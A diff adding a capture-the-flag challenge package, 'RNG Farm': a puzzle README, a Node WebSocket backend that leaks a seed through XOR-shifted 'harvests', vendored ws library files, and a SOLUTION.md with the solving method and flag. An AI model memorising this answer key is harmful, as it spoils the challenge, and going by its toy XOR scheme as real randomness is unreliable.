Normal file
@ -0,0 +1,12 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<module type="WEB_MODULE" version="4">
|
||||
<component name="NewModuleRootManager">
|
||||
<content url="file://$MODULE_DIR$">
|
||||
<excludeFolder url="file://$MODULE_DIR$/temp" />
|
||||
<excludeFolder url="file://$MODULE_DIR$/.tmp" />
|
||||
<excludeFolder url="file://$MODULE_DIR$/tmp" />
|
||||
</content>
|
||||
<orderEntry type="inheritedJdk" />
|
||||
<orderEntry type="sourceFolder" forTests="false" />
|
||||
</component>
|
||||
</module>
|
6
rng_farm/.idea/vcs.xml
Normal file
6
rng_farm/.idea/vcs.xml
Normal file
@ -0,0 +1,6 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<project version="4">
|
||||
<component name="VcsDirectoryMappings">
|
||||
<mapping directory="$PROJECT_DIR$/.." vcs="Git" />
|
||||
</component>
|
||||
</project>
|
7
rng_farm/README.md
Normal file
7
rng_farm/README.md
Normal file
@ -0,0 +1,7 @@
|
||||
# RNG Farm
|
||||
## Text
|
||||
I found a very special seed in the gardening section of my supermarket, and ever since I planted it in my garden, it has been sprouting randomly generated fruits and veggies on each harvest. I would like to plant more of this seed, but unfortunately I have lost it, can you help me recover the seed? You can inspect my farm on ${URL}; there you can harvest the garden, which will randomly generate new greens in function of the seed. Analyse each harvest, and hopefully you can trace back to the seed for me.
|
||||
## Files
|
||||
None required
|
||||
## How to Deploy
|
||||
TBA
|
6
rng_farm/SOLUTION.md
Normal file
6
rng_farm/SOLUTION.md
Normal file
@ -0,0 +1,6 @@
|
||||
## Difficulty
|
||||
Hard. It requires knowledge on websocket networking, encoding and decoding, and naturally random number generation. 120 points
|
||||
## How To Solve
|
||||
The greenies can be expressed in 2 bits each, and in total they form 18 bytes. The seed is XORed with a random bitstring, which forms the first set of greenies. This value is then used in place of the seed to be XORed by the same random bitstring, but bit-shifted by one to the right. Simply find this random bit-string by analysing the random outcomes by reverse XOR-ing, shift it one to the left, and XOR that with the first harvest. This will give you the seed in binary, convert it to ascii to uncover the string!
|
||||
## Flag
|
||||
IGCTF{oLdMcDoNaLd}
|
11
rng_farm/backend/Dockerfile
Normal file
11
rng_farm/backend/Dockerfile
Normal file
@ -0,0 +1,11 @@
|
||||
FROM node
|
||||
|
||||
WORKDIR /usr/src/app
|
||||
|
||||
COPY . /usr/src/app
|
||||
|
||||
RUN yarn
|
||||
|
||||
EXPOSE 3000
|
||||
|
||||
CMD ["node", "index.js"]
|
54
rng_farm/backend/index.js
Normal file
54
rng_farm/backend/index.js
Normal file
@ -0,0 +1,54 @@
|
||||
const WebSocket = require('ws');
|
||||
|
||||
|
||||
const wss = new WebSocket.Server({
|
||||
port: 3000
|
||||
})
|
||||
|
||||
|
||||
function numberToBinary(num) {
|
||||
const unpadded = (num >>> 0).toString(2)
|
||||
return unpadded.padStart(Math.ceil(unpadded.length / 8) * 8, '0');
|
||||
}
|
||||
|
||||
function mistery(bin1, bin2) {
|
||||
return bin1.split('').map((b1, idx) => {
|
||||
const b2 = bin2.split('')[idx]
|
||||
|
||||
if (!(b1 === '0' && b2 === '0') && !(b1 === '1' && b2 === '1'))
|
||||
return "1"
|
||||
else
|
||||
return "0"
|
||||
}).join('')
|
||||
}
|
||||
|
||||
|
||||
function randomInt(min, max) {
|
||||
return Math.floor(Math.random() * (max - min + 1) + min)
|
||||
}
|
||||
|
||||
function bitShift(byte) {
|
||||
return `${byte[byte.length - 1]}${byte.substring(0, byte.length - 1)}`
|
||||
}
|
||||
|
||||
wss.on('connection', ws => {
|
||||
|
||||
|
||||
let seed = "010010010100011101000011010101000100011001111011011011110100110001100100010011010110001101000100011011110100111001100001010011000110010001111101"
|
||||
let veggieIndices = "001000000110110111111101000010110110111101100111110000000001110100110000110100001000011000010011110001000001100011110011010110111001000010001111"
|
||||
|
||||
ws.on('message', evt => {
|
||||
const magic = mistery(seed, veggieIndices)
|
||||
.split('')
|
||||
.reduce(([first, ...rest], val) =>
|
||||
first && first.length < 2
|
||||
? [[...first, val], ...rest]
|
||||
: [[val], ...(first === undefined ? [] : [first]), ...rest], [])
|
||||
|
||||
seed = magic.flatMap(x => x.join('')).join('')
|
||||
veggieIndices = bitShift(veggieIndices)
|
||||
|
||||
|
||||
ws.send(JSON.stringify(magic.reverse()))
|
||||
})
|
||||
})
|
16
rng_farm/backend/node_modules/.yarn-integrity
generated
vendored
Normal file
16
rng_farm/backend/node_modules/.yarn-integrity
generated
vendored
Normal file
@ -0,0 +1,16 @@
|
||||
{
|
||||
"systemParams": "linux-x64-93",
|
||||
"modulesFolders": [
|
||||
"node_modules"
|
||||
],
|
||||
"flags": [],
|
||||
"linkedModules": [],
|
||||
"topLevelPatterns": [
|
||||
"ws@^8.2.3"
|
||||
],
|
||||
"lockfileEntries": {
|
||||
"ws@^8.2.3": "https://registry.yarnpkg.com/ws/-/ws-8.2.3.tgz#63a56456db1b04367d0b721a0b80cae6d8becbba"
|
||||
},
|
||||
"files": [],
|
||||
"artifacts": {}
|
||||
}
|
19
rng_farm/backend/node_modules/ws/LICENSE
generated
vendored
Normal file
19
rng_farm/backend/node_modules/ws/LICENSE
generated
vendored
Normal file
@ -0,0 +1,19 @@
|
||||
Copyright (c) 2011 Einar Otto Stangvik <einaros@gmail.com>
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
493
rng_farm/backend/node_modules/ws/README.md
generated
vendored
Normal file
493
rng_farm/backend/node_modules/ws/README.md
generated
vendored
Normal file
@ -0,0 +1,493 @@
|
||||
# ws: a Node.js WebSocket library
|
||||
|
||||
[![Version npm](https://img.shields.io/npm/v/ws.svg?logo=npm)](https://www.npmjs.com/package/ws)
|
||||
[![CI](https://img.shields.io/github/workflow/status/websockets/ws/CI/master?label=CI&logo=github)](https://github.com/websockets/ws/actions?query=workflow%3ACI+branch%3Amaster)
|
||||
[![Coverage Status](https://img.shields.io/coveralls/websockets/ws/master.svg?logo=coveralls)](https://coveralls.io/github/websockets/ws)
|
||||
|
||||
ws is a simple to use, blazing fast, and thoroughly tested WebSocket client and
|
||||
server implementation.
|
||||
|
||||
Passes the quite extensive Autobahn test suite: [server][server-report],
|
||||
[client][client-report].
|
||||
|
||||
**Note**: This module does not work in the browser. The client in the docs is a
|
||||
reference to a back end with the role of a client in the WebSocket
|
||||
communication. Browser clients must use the native
|
||||
[`WebSocket`](https://developer.mozilla.org/en-US/docs/Web/API/WebSocket)
|
||||
object. To make the same code work seamlessly on Node.js and the browser, you
|
||||
can use one of the many wrappers available on npm, like
|
||||
[isomorphic-ws](https://github.com/heineiuo/isomorphic-ws).
|
||||
|
||||
## Table of Contents
|
||||
|
||||
- [Protocol support](#protocol-support)
|
||||
- [Installing](#installing)
|
||||
- [Opt-in for performance](#opt-in-for-performance)
|
||||
- [API docs](#api-docs)
|
||||
- [WebSocket compression](#websocket-compression)
|
||||
- [Usage examples](#usage-examples)
|
||||
- [Sending and receiving text data](#sending-and-receiving-text-data)
|
||||
- [Sending binary data](#sending-binary-data)
|
||||
- [Simple server](#simple-server)
|
||||
- [External HTTP/S server](#external-https-server)
|
||||
- [Multiple servers sharing a single HTTP/S server](#multiple-servers-sharing-a-single-https-server)
|
||||
- [Client authentication](#client-authentication)
|
||||
- [Server broadcast](#server-broadcast)
|
||||
- [echo.websocket.org demo](#echowebsocketorg-demo)
|
||||
- [Use the Node.js streams API](#use-the-nodejs-streams-api)
|
||||
- [Other examples](#other-examples)
|
||||
- [FAQ](#faq)
|
||||
- [How to get the IP address of the client?](#how-to-get-the-ip-address-of-the-client)
|
||||
- [How to detect and close broken connections?](#how-to-detect-and-close-broken-connections)
|
||||
- [How to connect via a proxy?](#how-to-connect-via-a-proxy)
|
||||
- [Changelog](#changelog)
|
||||
- [License](#license)
|
||||
|
||||
## Protocol support
|
||||
|
||||
- **HyBi drafts 07-12** (Use the option `protocolVersion: 8`)
|
||||
- **HyBi drafts 13-17** (Current default, alternatively option
|
||||
`protocolVersion: 13`)
|
||||
|
||||
## Installing
|
||||
|
||||
```
|
||||
npm install ws
|
||||
```
|
||||
|
||||
### Opt-in for performance
|
||||
|
||||
There are 2 optional modules that can be installed along side with the ws
|
||||
module. These modules are binary addons which improve certain operations.
|
||||
Prebuilt binaries are available for the most popular platforms so you don't
|
||||
necessarily need to have a C++ compiler installed on your machine.
|
||||
|
||||
- `npm install --save-optional bufferutil`: Allows to efficiently perform
|
||||
operations such as masking and unmasking the data payload of the WebSocket
|
||||
frames.
|
||||
- `npm install --save-optional utf-8-validate`: Allows to efficiently check if a
|
||||
message contains valid UTF-8.
|
||||
|
||||
## API docs
|
||||
|
||||
See [`/doc/ws.md`](./doc/ws.md) for Node.js-like documentation of ws classes and
|
||||
utility functions.
|
||||
|
||||
## WebSocket compression
|
||||
|
||||
ws supports the [permessage-deflate extension][permessage-deflate] which enables
|
||||
the client and server to negotiate a compression algorithm and its parameters,
|
||||
and then selectively apply it to the data payloads of each WebSocket message.
|
||||
|
||||
The extension is disabled by default on the server and enabled by default on the
|
||||
client. It adds a significant overhead in terms of performance and memory
|
||||
consumption so we suggest to enable it only if it is really needed.
|
||||
|
||||
Note that Node.js has a variety of issues with high-performance compression,
|
||||
where increased concurrency, especially on Linux, can lead to [catastrophic
|
||||
memory fragmentation][node-zlib-bug] and slow performance. If you intend to use
|
||||
permessage-deflate in production, it is worthwhile to set up a test
|
||||
representative of your workload and ensure Node.js/zlib will handle it with
|
||||
acceptable performance and memory usage.
|
||||
|
||||
Tuning of permessage-deflate can be done via the options defined below. You can
|
||||
also use `zlibDeflateOptions` and `zlibInflateOptions`, which is passed directly
|
||||
into the creation of [raw deflate/inflate streams][node-zlib-deflaterawdocs].
|
||||
|
||||
See [the docs][ws-server-options] for more options.
|
||||
|
||||
```js
|
||||
import WebSocket, { WebSocketServer } from 'ws';
|
||||
|
||||
const wss = new WebSocketServer({
|
||||
port: 8080,
|
||||
perMessageDeflate: {
|
||||
zlibDeflateOptions: {
|
||||
// See zlib defaults.
|
||||
chunkSize: 1024,
|
||||
memLevel: 7,
|
||||
level: 3
|
||||
},
|
||||
zlibInflateOptions: {
|
||||
chunkSize: 10 * 1024
|
||||
},
|
||||
// Other options settable:
|
||||
clientNoContextTakeover: true, // Defaults to negotiated value.
|
||||
serverNoContextTakeover: true, // Defaults to negotiated value.
|
||||
serverMaxWindowBits: 10, // Defaults to negotiated value.
|
||||
// Below options specified as default values.
|
||||
concurrencyLimit: 10, // Limits zlib concurrency for perf.
|
||||
threshold: 1024 // Size (in bytes) below which messages
|
||||
// should not be compressed if context takeover is disabled.
|
||||
}
|
||||
});
|
||||
```
|
||||
|
||||
The client will only use the extension if it is supported and enabled on the
|
||||
server. To always disable the extension on the client set the
|
||||
`perMessageDeflate` option to `false`.
|
||||
|
||||
```js
|
||||
import WebSocket from 'ws';
|
||||
|
||||
const ws = new WebSocket('ws://www.host.com/path', {
|
||||
perMessageDeflate: false
|
||||
});
|
||||
```
|
||||
|
||||
## Usage examples
|
||||
|
||||
### Sending and receiving text data
|
||||
|
||||
```js
|
||||
import WebSocket from 'ws';
|
||||
|
||||
const ws = new WebSocket('ws://www.host.com/path');
|
||||
|
||||
ws.on('open', function open() {
|
||||
ws.send('something');
|
||||
});
|
||||
|
||||
ws.on('message', function incoming(message) {
|
||||
console.log('received: %s', message);
|
||||
});
|
||||
```
|
||||
|
||||
### Sending binary data
|
||||
|
||||
```js
|
||||
import WebSocket from 'ws';
|
||||
|
||||
const ws = new WebSocket('ws://www.host.com/path');
|
||||
|
||||
ws.on('open', function open() {
|
||||
const array = new Float32Array(5);
|
||||
|
||||
for (var i = 0; i < array.length; ++i) {
|
||||
array[i] = i / 2;
|
||||
}
|
||||
|
||||
ws.send(array);
|
||||
});
|
||||
```
|
||||
|
||||
### Simple server
|
||||
|
||||
```js
|
||||
import { WebSocketServer } from 'ws';
|
||||
|
||||
const wss = new WebSocketServer({ port: 8080 });
|
||||
|
||||
wss.on('connection', function connection(ws) {
|
||||
ws.on('message', function incoming(message) {
|
||||
console.log('received: %s', message);
|
||||
});
|
||||
|
||||
ws.send('something');
|
||||
});
|
||||
```
|
||||
|
||||
### External HTTP/S server
|
||||
|
||||
```js
|
||||
import { createServer } from 'https';
|
||||
import { readFileSync } from 'fs';
|
||||
import { WebSocketServer } from 'ws';
|
||||
|
||||
const server = createServer({
|
||||
cert: readFileSync('/path/to/cert.pem'),
|
||||
key: readFileSync('/path/to/key.pem')
|
||||
});
|
||||
const wss = new WebSocketServer({ server });
|
||||
|
||||
wss.on('connection', function connection(ws) {
|
||||
ws.on('message', function incoming(message) {
|
||||
console.log('received: %s', message);
|
||||
});
|
||||
|
||||
ws.send('something');
|
||||
});
|
||||
|
||||
server.listen(8080);
|
||||
```
|
||||
|
||||
### Multiple servers sharing a single HTTP/S server
|
||||
|
||||
```js
|
||||
import { createServer } from 'http';
|
||||
import { parse } from 'url';
|
||||
import { WebSocketServer } from 'ws';
|
||||
|
||||
const server = createServer();
|
||||
const wss1 = new WebSocketServer({ noServer: true });
|
||||
const wss2 = new WebSocketServer({ noServer: true });
|
||||
|
||||
wss1.on('connection', function connection(ws) {
|
||||
// ...
|
||||
});
|
||||
|
||||
wss2.on('connection', function connection(ws) {
|
||||
// ...
|
||||
});
|
||||
|
||||
server.on('upgrade', function upgrade(request, socket, head) {
|
||||
const { pathname } = parse(request.url);
|
||||
|
||||
if (pathname === '/foo') {
|
||||
wss1.handleUpgrade(request, socket, head, function done(ws) {
|
||||
wss1.emit('connection', ws, request);
|
||||
});
|
||||
} else if (pathname === '/bar') {
|
||||
wss2.handleUpgrade(request, socket, head, function done(ws) {
|
||||
wss2.emit('connection', ws, request);
|
||||
});
|
||||
} else {
|
||||
socket.destroy();
|
||||
}
|
||||
});
|
||||
|
||||
server.listen(8080);
|
||||
```
|
||||
|
||||
### Client authentication
|
||||
|
||||
```js
|
||||
import WebSocket from 'ws';
|
||||
import { createServer } from 'http';
|
||||
|
||||
const server = createServer();
|
||||
const wss = new WebSocketServer({ noServer: true });
|
||||
|
||||
wss.on('connection', function connection(ws, request, client) {
|
||||
ws.on('message', function message(msg) {
|
||||
console.log(`Received message ${msg} from user ${client}`);
|
||||
});
|
||||
});
|
||||
|
||||
server.on('upgrade', function upgrade(request, socket, head) {
|
||||
// This function is not defined on purpose. Implement it with your own logic.
|
||||
authenticate(request, (err, client) => {
|
||||
if (err || !client) {
|
||||
socket.write('HTTP/1.1 401 Unauthorized\r\n\r\n');
|
||||
socket.destroy();
|
||||
return;
|
||||
}
|
||||
|
||||
wss.handleUpgrade(request, socket, head, function done(ws) {
|
||||
wss.emit('connection', ws, request, client);
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
server.listen(8080);
|
||||
```
|
||||
|
||||
Also see the provided [example][session-parse-example] using `express-session`.
|
||||
|
||||
### Server broadcast
|
||||
|
||||
A client WebSocket broadcasting to all connected WebSocket clients, including
|
||||
itself.
|
||||
|
||||
```js
|
||||
import WebSocket, { WebSocketServer } from 'ws';
|
||||
|
||||
const wss = new WebSocketServer({ port: 8080 });
|
||||
|
||||
wss.on('connection', function connection(ws) {
|
||||
ws.on('message', function incoming(data, isBinary) {
|
||||
wss.clients.forEach(function each(client) {
|
||||
if (client.readyState === WebSocket.OPEN) {
|
||||
client.send(data, { binary: isBinary });
|
||||
}
|
||||
});
|
||||
});
|
||||
});
|
||||
```
|
||||
|
||||
A client WebSocket broadcasting to every other connected WebSocket clients,
|
||||
excluding itself.
|
||||
|
||||
```js
|
||||
import WebSocket, { WebSocketServer } from 'ws';
|
||||
|
||||
const wss = new WebSocketServer({ port: 8080 });
|
||||
|
||||
wss.on('connection', function connection(ws) {
|
||||
ws.on('message', function incoming(data, isBinary) {
|
||||
wss.clients.forEach(function each(client) {
|
||||
if (client !== ws && client.readyState === WebSocket.OPEN) {
|
||||
client.send(data, { binary: isBinary });
|
||||
}
|
||||
});
|
||||
});
|
||||
});
|
||||
```
|
||||
|
||||
### echo.websocket.org demo
|
||||
|
||||
```js
|
||||
import WebSocket from 'ws';
|
||||
|
||||
const ws = new WebSocket('wss://echo.websocket.org/', {
|
||||
origin: 'https://websocket.org'
|
||||
});
|
||||
|
||||
ws.on('open', function open() {
|
||||
console.log('connected');
|
||||
ws.send(Date.now());
|
||||
});
|
||||
|
||||
ws.on('close', function close() {
|
||||
console.log('disconnected');
|
||||
});
|
||||
|
||||
ws.on('message', function incoming(data) {
|
||||
console.log(`Roundtrip time: ${Date.now() - data} ms`);
|
||||
|
||||
setTimeout(function timeout() {
|
||||
ws.send(Date.now());
|
||||
}, 500);
|
||||
});
|
||||
```
|
||||
|
||||
### Use the Node.js streams API
|
||||
|
||||
```js
|
||||
import WebSocket, { createWebSocketStream } from 'ws';
|
||||
|
||||
const ws = new WebSocket('wss://echo.websocket.org/', {
|
||||
origin: 'https://websocket.org'
|
||||
});
|
||||
|
||||
const duplex = createWebSocketStream(ws, { encoding: 'utf8' });
|
||||
|
||||
duplex.pipe(process.stdout);
|
||||
process.stdin.pipe(duplex);
|
||||
```
|
||||
|
||||
### Other examples
|
||||
|
||||
For a full example with a browser client communicating with a ws server, see the
|
||||
examples folder.
|
||||
|
||||
Otherwise, see the test cases.
|
||||
|
||||
## FAQ
|
||||
|
||||
### How to get the IP address of the client?
|
||||
|
||||
The remote IP address can be obtained from the raw socket.
|
||||
|
||||
```js
|
||||
import { WebSocketServer } from 'ws';
|
||||
|
||||
const wss = new WebSocketServer({ port: 8080 });
|
||||
|
||||
wss.on('connection', function connection(ws, req) {
|
||||
const ip = req.socket.remoteAddress;
|
||||
});
|
||||
```
|
||||
|
||||
When the server runs behind a proxy like NGINX, the de-facto standard is to use
|
||||
the `X-Forwarded-For` header.
|
||||
|
||||
```js
|
||||
wss.on('connection', function connection(ws, req) {
|
||||
const ip = req.headers['x-forwarded-for'].split(',')[0].trim();
|
||||
});
|
||||
```
|
||||
|
||||
### How to detect and close broken connections?
|
||||
|
||||
Sometimes the link between the server and the client can be interrupted in a way
|
||||
that keeps both the server and the client unaware of the broken state of the
|
||||
connection (e.g. when pulling the cord).
|
||||
|
||||
In these cases ping messages can be used as a means to verify that the remote
|
||||
endpoint is still responsive.
|
||||
|
||||
```js
|
||||
import { WebSocketServer } from 'ws';
|
||||
|
||||
function heartbeat() {
|
||||
this.isAlive = true;
|
||||
}
|
||||
|
||||
const wss = new WebSocketServer({ port: 8080 });
|
||||
|
||||
wss.on('connection', function connection(ws) {
|
||||
ws.isAlive = true;
|
||||
ws.on('pong', heartbeat);
|
||||
});
|
||||
|
||||
const interval = setInterval(function ping() {
|
||||
wss.clients.forEach(function each(ws) {
|
||||
if (ws.isAlive === false) return ws.terminate();
|
||||
|
||||
ws.isAlive = false;
|
||||
ws.ping();
|
||||
});
|
||||
}, 30000);
|
||||
|
||||
wss.on('close', function close() {
|
||||
clearInterval(interval);
|
||||
});
|
||||
```
|
||||
|
||||
Pong messages are automatically sent in response to ping messages as required by
|
||||
the spec.
|
||||
|
||||
Just like the server example above your clients might as well lose connection
|
||||
without knowing it. You might want to add a ping listener on your clients to
|
||||
prevent that. A simple implementation would be:
|
||||
|
||||
```js
|
||||
import WebSocket from 'ws';
|
||||
|
||||
function heartbeat() {
|
||||
clearTimeout(this.pingTimeout);
|
||||
|
||||
// Use `WebSocket#terminate()`, which immediately destroys the connection,
|
||||
// instead of `WebSocket#close()`, which waits for the close timer.
|
||||
// Delay should be equal to the interval at which your server
|
||||
// sends out pings plus a conservative assumption of the latency.
|
||||
this.pingTimeout = setTimeout(() => {
|
||||
this.terminate();
|
||||
}, 30000 + 1000);
|
||||
}
|
||||
|
||||
const client = new WebSocket('wss://echo.websocket.org/');
|
||||
|
||||
client.on('open', heartbeat);
|
||||
client.on('ping', heartbeat);
|
||||
client.on('close', function clear() {
|
||||
clearTimeout(this.pingTimeout);
|
||||
});
|
||||
```
|
||||
|
||||
### How to connect via a proxy?
|
||||
|
||||
Use a custom `http.Agent` implementation like [https-proxy-agent][] or
|
||||
[socks-proxy-agent][].
|
||||
|
||||
## Changelog
|
||||
|
||||
We're using the GitHub [releases][changelog] for changelog entries.
|
||||
|
||||
## License
|
||||
|
||||
[MIT](LICENSE)
|
||||
|
||||
[changelog]: https://github.com/websockets/ws/releases
|
||||
[client-report]: http://websockets.github.io/ws/autobahn/clients/
|
||||
[https-proxy-agent]: https://github.com/TooTallNate/node-https-proxy-agent
|
||||
[node-zlib-bug]: https://github.com/nodejs/node/issues/8871
|
||||
[node-zlib-deflaterawdocs]:
|
||||
https://nodejs.org/api/zlib.html#zlib_zlib_createdeflateraw_options
|
||||
[permessage-deflate]: https://tools.ietf.org/html/rfc7692
|
||||
[server-report]: http://websockets.github.io/ws/autobahn/servers/
|
||||
[session-parse-example]: ./examples/express-session-parse
|
||||
[socks-proxy-agent]: https://github.com/TooTallNate/node-socks-proxy-agent
|
||||
[ws-server-options]:
|
||||
https://github.com/websockets/ws/blob/master/doc/ws.md#new-websocketserveroptions-callback
|
8
rng_farm/backend/node_modules/ws/browser.js
generated
vendored
Normal file
8
rng_farm/backend/node_modules/ws/browser.js
generated
vendored
Normal file
@ -0,0 +1,8 @@
|
||||
'use strict';
|
||||
|
||||
module.exports = function () {
|
||||
throw new Error(
|
||||
'ws does not work in the browser. Browser clients must use the native ' +
|
||||
'WebSocket object'
|
||||
);
|
||||
};
|
13
rng_farm/backend/node_modules/ws/index.js
generated
vendored
Normal file
13
rng_farm/backend/node_modules/ws/index.js
generated
vendored
Normal file
@ -0,0 +1,13 @@
|
||||
'use strict';
|
||||
|
||||
const WebSocket = require('./lib/websocket');
|
||||
|
||||
WebSocket.createWebSocketStream = require('./lib/stream');
|
||||
WebSocket.Server = require('./lib/websocket-server');
|
||||
WebSocket.Receiver = require('./lib/receiver');
|
||||
WebSocket.Sender = require('./lib/sender');
|
||||
|
||||
WebSocket.WebSocket = WebSocket;
|
||||
WebSocket.WebSocketServer = WebSocket.Server;
|
||||
|
||||
module.exports = WebSocket;
|
126
rng_farm/backend/node_modules/ws/lib/buffer-util.js
generated
vendored
Normal file
126
rng_farm/backend/node_modules/ws/lib/buffer-util.js
generated
vendored
Normal file
@ -0,0 +1,126 @@
|
||||
'use strict';
|
||||
|
||||
const { EMPTY_BUFFER } = require('./constants');
|
||||
|
||||
/**
|
||||
* Merges an array of buffers into a new buffer.
|
||||
*
|
||||
* @param {Buffer[]} list The array of buffers to concat
|
||||
* @param {Number} totalLength The total length of buffers in the list
|
||||
* @return {Buffer} The resulting buffer
|
||||
* @public
|
||||
*/
|
||||
function concat(list, totalLength) {
|
||||
if (list.length === 0) return EMPTY_BUFFER;
|
||||
if (list.length === 1) return list[0];
|
||||
|
||||
const target = Buffer.allocUnsafe(totalLength);
|
||||
let offset = 0;
|
||||
|
||||
for (let i = 0; i < list.length; i++) {
|
||||
const buf = list[i];
|
||||
target.set(buf, offset);
|
||||
offset += buf.length;
|
||||
}
|
||||
|
||||
if (offset < totalLength) return target.slice(0, offset);
|
||||
|
||||
return target;
|
||||
}
|
||||
|
||||
/**
|
||||
* Masks a buffer using the given mask.
|
||||
*
|
||||
* @param {Buffer} source The buffer to mask
|
||||
* @param {Buffer} mask The mask to use
|
||||
* @param {Buffer} output The buffer where to store the result
|
||||
* @param {Number} offset The offset at which to start writing
|
||||
* @param {Number} length The number of bytes to mask.
|
||||
* @public
|
||||
*/
|
||||
function _mask(source, mask, output, offset, length) {
|
||||
for (let i = 0; i < length; i++) {
|
||||
output[offset + i] = source[i] ^ mask[i & 3];
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Unmasks a buffer using the given mask.
|
||||
*
|
||||
* @param {Buffer} buffer The buffer to unmask
|
||||
* @param {Buffer} mask The mask to use
|
||||
* @public
|
||||
*/
|
||||
function _unmask(buffer, mask) {
|
||||
for (let i = 0; i < buffer.length; i++) {
|
||||
buffer[i] ^= mask[i & 3];
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Converts a buffer to an `ArrayBuffer`.
|
||||
*
|
||||
* @param {Buffer} buf The buffer to convert
|
||||
* @return {ArrayBuffer} Converted buffer
|
||||
* @public
|
||||
*/
|
||||
function toArrayBuffer(buf) {
|
||||
if (buf.byteLength === buf.buffer.byteLength) {
|
||||
return buf.buffer;
|
||||
}
|
||||
|
||||
return buf.buffer.slice(buf.byteOffset, buf.byteOffset + buf.byteLength);
|
||||
}
|
||||
|
||||
/**
|
||||
* Converts `data` to a `Buffer`.
|
||||
*
|
||||
* @param {*} data The data to convert
|
||||
* @return {Buffer} The buffer
|
||||
* @throws {TypeError}
|
||||
* @public
|
||||
*/
|
||||
function toBuffer(data) {
|
||||
toBuffer.readOnly = true;
|
||||
|
||||
if (Buffer.isBuffer(data)) return data;
|
||||
|
||||
let buf;
|
||||
|
||||
if (data instanceof ArrayBuffer) {
|
||||
buf = Buffer.from(data);
|
||||
} else if (ArrayBuffer.isView(data)) {
|
||||
buf = Buffer.from(data.buffer, data.byteOffset, data.byteLength);
|
||||
} else {
|
||||
buf = Buffer.from(data);
|
||||
toBuffer.readOnly = false;
|
||||
}
|
||||
|
||||
return buf;
|
||||
}
|
||||
|
||||
try {
|
||||
const bufferUtil = require('bufferutil');
|
||||
|
||||
module.exports = {
|
||||
concat,
|
||||
mask(source, mask, output, offset, length) {
|
||||
if (length < 48) _mask(source, mask, output, offset, length);
|
||||
else bufferUtil.mask(source, mask, output, offset, length);
|
||||
},
|
||||
toArrayBuffer,
|
||||
toBuffer,
|
||||
unmask(buffer, mask) {
|
||||
if (buffer.length < 32) _unmask(buffer, mask);
|
||||
else bufferUtil.unmask(buffer, mask);
|
||||
}
|
||||
};
|
||||
} catch (e) /* istanbul ignore next */ {
|
||||
module.exports = {
|
||||
concat,
|
||||
mask: _mask,
|
||||
toArrayBuffer,
|
||||
toBuffer,
|
||||
unmask: _unmask
|
||||
};
|
||||
}
|
12
rng_farm/backend/node_modules/ws/lib/constants.js
generated
vendored
Normal file
12
rng_farm/backend/node_modules/ws/lib/constants.js
generated
vendored
Normal file
@ -0,0 +1,12 @@
|
||||
'use strict';
|
||||
|
||||
module.exports = {
|
||||
BINARY_TYPES: ['nodebuffer', 'arraybuffer', 'fragments'],
|
||||
EMPTY_BUFFER: Buffer.alloc(0),
|
||||
GUID: '258EAFA5-E914-47DA-95CA-C5AB0DC85B11',
|
||||
kForOnEventAttribute: Symbol('kIsForOnEventAttribute'),
|
||||
kListener: Symbol('kListener'),
|
||||
kStatusCode: Symbol('status-code'),
|
||||
kWebSocket: Symbol('websocket'),
|
||||
NOOP: () => {}
|
||||
};
|
266
rng_farm/backend/node_modules/ws/lib/event-target.js
generated
vendored
Normal file
266
rng_farm/backend/node_modules/ws/lib/event-target.js
generated
vendored
Normal file
@ -0,0 +1,266 @@
|
||||
'use strict';
|
||||
|
||||
const { kForOnEventAttribute, kListener } = require('./constants');
|
||||
|
||||
const kCode = Symbol('kCode');
|
||||
const kData = Symbol('kData');
|
||||
const kError = Symbol('kError');
|
||||
const kMessage = Symbol('kMessage');
|
||||
const kReason = Symbol('kReason');
|
||||
const kTarget = Symbol('kTarget');
|
||||
const kType = Symbol('kType');
|
||||
const kWasClean = Symbol('kWasClean');
|
||||
|
||||
/**
|
||||
* Class representing an event.
|
||||
*/
|
||||
class Event {
|
||||
/**
|
||||
* Create a new `Event`.
|
||||
*
|
||||
* @param {String} type The name of the event
|
||||
* @throws {TypeError} If the `type` argument is not specified
|
||||
*/
|
||||
constructor(type) {
|
||||
this[kTarget] = null;
|
||||
this[kType] = type;
|
||||
}
|
||||
|
||||
/**
|
||||
* @type {*}
|
||||
*/
|
||||
get target() {
|
||||
return this[kTarget];
|
||||
}
|
||||
|
||||
/**
|
||||
* @type {String}
|
||||
*/
|
||||
get type() {
|
||||
return this[kType];
|
||||
}
|
||||
}
|
||||
|
||||
Object.defineProperty(Event.prototype, 'target', { enumerable: true });
|
||||
Object.defineProperty(Event.prototype, 'type', { enumerable: true });
|
||||
|
||||
/**
|
||||
* Class representing a close event.
|
||||
*
|
||||
* @extends Event
|
||||
*/
|
||||
class CloseEvent extends Event {
|
||||
/**
|
||||
* Create a new `CloseEvent`.
|
||||
*
|
||||
* @param {String} type The name of the event
|
||||
* @param {Object} [options] A dictionary object that allows for setting
|
||||
* attributes via object members of the same name
|
||||
* @param {Number} [options.code=0] The status code explaining why the
|
||||
* connection was closed
|
||||
* @param {String} [options.reason=''] A human-readable string explaining why
|
||||
* the connection was closed
|
||||
* @param {Boolean} [options.wasClean=false] Indicates whether or not the
|
||||
* connection was cleanly closed
|
||||
*/
|
